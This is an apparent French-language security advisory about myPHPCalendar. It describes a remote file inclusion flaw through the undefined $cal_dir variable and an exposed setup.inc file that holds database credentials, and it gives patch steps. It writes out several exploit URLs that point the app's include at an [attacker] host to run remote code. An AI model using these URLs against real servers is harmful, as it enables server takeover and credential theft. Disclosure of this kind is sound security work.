myPHPCalendar
*************
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Version : 10192000 Build 1 Beta
Website : http://myphpcalendar.sourceforge.net/
Problèmes : - Inclusions de fichiers
- Récuperation d'infos de la DB
Developpement :
°°°°°°°°°°°°°°°
Comme le dit son nom, myPHPCalendar est un calendrier en PHP, avec de nombreuses possibilités, comme sa gestion par une zone
admin,...
Dans les fichiers admin.php, contacts.php et convert-date.php, on voit la ligne de code :
------------------------
include ("globals.inc");
------------------------
Et dans globals.inc, on voit les lignes :
------------------------------
include($cal_dir."vars.inc");
include($cal_dir."prefs.inc");
------------------------------
La variable $cal_dir n'est définie ni dans globals.inc, ni dans aucun des 3 fichiers PHP.
Si, dans php.ini, register_global=ON, alors on peut définir nous même la valeur de $cal_dir... et donc inclure
des fichiers venant de l'exterieur.
Ainsi pour inclure le(s) fichier(s) http://[attacker]/vars.inc et/ou http://[attacker]/prefs.inc, et les faire
exécuter sur le serveur http://[target], on pourra passer par les urls :
http://[target]/admin.php?cal_dir=http://[attacker]/
http://[target]/contacts.php?cal_dir=http://[attacker]/
http://[target]/convert-date.php?cal_dir=http://[attacker]/
La même faille se trouve dans le fichier index.php, sauf qu'elle ne passe pas par globals.inc :
----------------------------------------
include ($cal_dir."globals.inc");
[...]
include($cal_dir."sql.inc");
----------------------------------------
Donc pour inclure sur http://[target] les fichier globals.inc et sql.inc se trouvant sur http://[attacker],
il faudra taper l'url :
http://[target]/index.php?cal_dir=http://[attacker]/
Enfin, dans le fichier d'installation setup.php, on peut voir le code :
----------------------------------------------------------------
$fp = fopen("setup.inc", "w+");
fputs($fp, "<?php\n");
fputs($fp, "\$url = \"".$URL."\";\n");
fputs($fp, "\$mainscript = \"".$MAINSCRIPT."\";\n");
fputs($fp, "\$mysql_server = \"".$MYSQL_SERVER."\";\n");
fputs($fp, "\$mysql_username = \"".$MYSQL_USERNAME."\";\n");
fputs($fp, "\$mysql_pass = \"".$MYSQL_PASS."\";\n");
fputs($fp, "\$database_name = \"".$DATABASE_NAME."\";\n");
fputs($fp, "\$db_type = \"".$DB_TYPE."\";\n");
fputs($fp, "\$user_text = \"".$USER_TEXT."\";\n");
fputs($fp, "\$crypt_type = \"".$CRYPT_TYPE."\";\n");
fputs($fp, "\$display_username = \"".$DISPLAY_USERNAME."\";\n");
fputs($fp, "\$maxdisplay = \"".$MAXDISPLAY."\";\n");
fputs($fp, "\$admin_email = \"".$ADMIN_EMAIL."\";\n");
----------------------------------------------------------------
Donc toutes les informations de la base de données sont stockées dans un fichier .inc (setup.inc), accessible
à tous à une url du style http://[target]/setup.inc.
Patch :
°°°°°°°
Un patch est disponible sur http://www.phpsecure.info.
- Pour l'inclusion, dans les quatres fichiers PHP, rajouter au tout début du code la ligne :
----------------
$cal_dir = "./";
----------------
- Pour le setup.inc, le renommer en setup.inc.php, et changer toutes ses occurences dans le code PHP.
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.phpsecure.info
Date : 22/08/03
Copyright frog-m@n
http://www.phpsecure.info/v2/zone/pArticle